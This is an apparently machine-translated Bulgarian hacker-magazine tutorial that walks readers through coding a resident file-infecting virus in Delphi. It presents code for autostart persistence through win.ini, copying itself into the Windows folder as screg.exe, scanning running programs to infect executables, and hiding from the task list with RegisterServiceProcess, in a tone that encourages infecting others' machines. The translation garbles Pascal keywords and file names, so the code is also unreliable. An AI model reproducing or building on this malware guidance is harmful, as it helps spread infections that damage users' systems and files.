Направи си сам резидентен вирус

вирус

резидентен

Xakep #240. Гидра

направи

Xakep #239. Отворете и проучете

направи

Xakep #238. Забравен Android

направи

Xakep #237. Darknet 2018

направи

Здравей приятелю. Съдейки по писмата на нашите уважавани зрители, хората копнеят за продължение. В лицето на описание на работата на някакъв злонамерен и силно заразен вирус. Е, нашето списание винаги е готово да задоволи и най- изисканите фантазии на читателите 🙂 Запасете се с бира и крекери, защото без тях ще ви бъде трудно да навлезете в тънкостите на 🙂

Ти и аз ще кодираме резидентен вирус. Принципът на действието му няма да има много общо с това, което описах в от миналата статия (и с типични примери за жанра), така че прочетете внимателно. Първо, при първото стартиране на нечия машина, нашият вирус ще се запише за автоматично зареждане (използвайки win.ini;)) и стартирайки по този начин при всяко стартиране на windows, той ще виси в RAM за цялата сесия, проверявайки дали потребителят е стартирал нужните ни файлове. И както си спомняте, желаният файл е всеки изпълним файл, но все още не е заразен от нас 😉 Ще коригираме тази ситуация, като го заразим.

Естествено, копие на вируса в паметта няма да свети на Ctrl-Alt-De - това вече е традиция, дори ми е някак неудобно да говоря за това 🙂 Копие на вируса, стартирано от заразен файл, няма да направи нищо друго, освен да стартира заразената програма (няма да засягам процедурите за заразяване и възстановяване на файл в тази статия, тъй като ги описах миналия път).КОДИРАНЕ

Правете както винаги правите проекта—> източник, пуснете прозореца на формуляра и ще започнем да работим с DPR като този:

Е, почти празен лист и някои читатели може би вече имат въпрос: какви са тези ключове, обявих първите двалинии. Лесно е - ключът забранява на компилатора да включва информация за отстраняване на грешки в кода (размерът на кода има значение ;)), и - забранява контрола на I/O грешки. По този начин, когато възникне IO грешка, ще видим недоволен червен прозорец „ПОЗДРАВЛЕНИЯ! DAS Е GLUK! ФАЙЛЪТ НЕ Е НАМЕРЕН. » :), но просто променя променливата IOResult. Да, още — първо можете да напишете vir, който има собствен прозорец 🙂 След това ще можете да изведете лога на работата му в някой ListBox и когато всичко е tweezer , ще го конвертирате в чист вид. Давай, декларирай променливи за себе си:

Моят:файл; PerfectCopy,WorkComplete: boolean; st,pres:низ; победа: TIniFile; virpath:низ; windir: масив [0..255] от char; Wnd : hWnd; CONST Virlen: longint= 1000000000;

Като 🙂 Оказа се дори по-лесно, отколкото очаквахте 🙂 Нека да го разберем: Моят е нашият заразен файл, откъдето може да сме започнали. Wnd е манипулаторът на прозореца на приложението, което се изпълнява в момента. PerfectCopy- ако е TRUE, тогава или сте стартирали новокомпилиран вирус, или вирусът е стартиран в чистата си форма от автоматично зареждане. Във всеки случай не е нужно да възстановяваме и стартираме нищо, просто трябва да седим и да заразяваме. Ето как да го направите:

процедура WorkMemory; begin While WorkComplete=FALSE do begin Wnd := GetWindow(Handle, gw_HWndFirst); ДОКАТО Wnd <> 0 DO BEGIN IF (Wnd <> Application.Handle) AND (GetWindow(Wnd, gw_Owner) = 0) THEN INFECTFILES; край;

var Memory : TMemoryStream; започнете Памет := TMemoryStream.Create; опитайте Memory.LoadFromFile(жертва); .. Memory.Read(…); Memory.Write(….) Memory.Seek(…); Размер на файла := Размер на паметта; .. накрая Memory.Free; край; край;

И там да извършва действия без страх от грешки. И след това запишете готовия файл на диск с командата SaveToFile.

Да, още нещо - проверка за application.handle трябва да се прави само ако пишете вирус с прозорец. Тези. във версия за отстраняване на грешки &#128578; След това, за пълноценна работа, ще ви трябват процедурите INFECTFILE и CUREANDWORK - първата ще зарази намерения файл, а втората съответно ще възстанови заразения файл и ще го стартира. Вие сами ще напишете тези процедури, като се съсредоточите върху примера от статията „HLLP вирус със собствените си ръце“. И нека да видим как трябва да изглежда работещата версия на вируса:

програмни ВЕИ; ИЗПОЛЗВА windows,inifiles; var //Деклариране на променливи //Процедурен модул procedure INFECTFILE; започнете

край; процедура CUREANDWORK; започнете

край; процедура WorkMemory; започнете

край; //КРАЙ НА ПРОЦЕДУРНИЯ МОДУЛ, НАЧАЛО НА ОСНОВНИЯ КОД започнете WorkComplete:=FALSE; Вземете WindowsDirectory(windir,255); virpath:= windir+'\screg.exe'; Win:= TIniFile.Create('win.ini'); //Вижте в win.ini Win.ReadString('windows','run',pres); АКО прес<> virpath след това win.WriteString('windows','run',virpath); //А, нали?? Сега сме &#128578; Win.Free; //Запазване на край.

AssignFile(My,ParamStr(0)); Ако FileSize(My)=VirLen тогава започнете PerfectCopy:= TRUE; end else CureAndWork;

IF (PerfectCopy= true) AND (ParamStr(0)<>'screg.exe') then //Към Windows започване st:= paramstr(0); St:= st+#0; virpath:= virpath+#0; Копиране на файл (@st[1],@virpath[1],false); //Това е, сега сме &#128578; Работна памет; край; АКО ParamStr(0)= 'scres.exe' работната памет;

Непросто, много просто &#128578; Дори не искам да обяснявам нищо, chesslovo! Добре, шегувам се. Логиката на основната част е следната: получаваме пътя до Windows, гледаме дали основната ни част все още е в автоматично зареждане (защо харесвам автоматично зареждане от win.ini? Да, защото всеки, който не е мързелив, се записва в регистъра RUN, а умните потребители понякога гледат там &#128578; Да, и нашият код ще се окаже твърде тежък), ако не - тогава пишем и се прехвърляме в &#128578 ; към Windows под името screg.exe - това ще бъде нашият резидентен модул. Това е всичко, добавете процедурата за заразяване по ваш вкус —не забравяйте, когато възстановявате заразената програма, проверете —дали има резидентна част в автоматичното зареждане. Ако не — знаете какво да правите. Опа, пак забравих - за невидимостта. В крайна сметка, ако потребителят натисне три клавиша, той ще бъде много изненадан от наличието на чужда програма. Да, и бутонът на лентата на задачите може да събуди подозренията му. По принцип вмъкнете във функционалния модул

функция RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; външен ‘KERNEL32.DLL’;

В началото на основната част

И така, аз отивам да си почина, а вие прочетете заключението и изчакайте следващата статия.

Е, вече можете да кодирате резидентен вирус. Разбира се, може да се нарече резидент със силен участък, но все пак работи. Да, за да избегнете спирачки, не откривайте списъка с работещи приложения през цялото време. По-добре всяка секунда. Така че няма да ни видят. Добре, лека нощ - следващия път ще ви пиша за интернет вируса.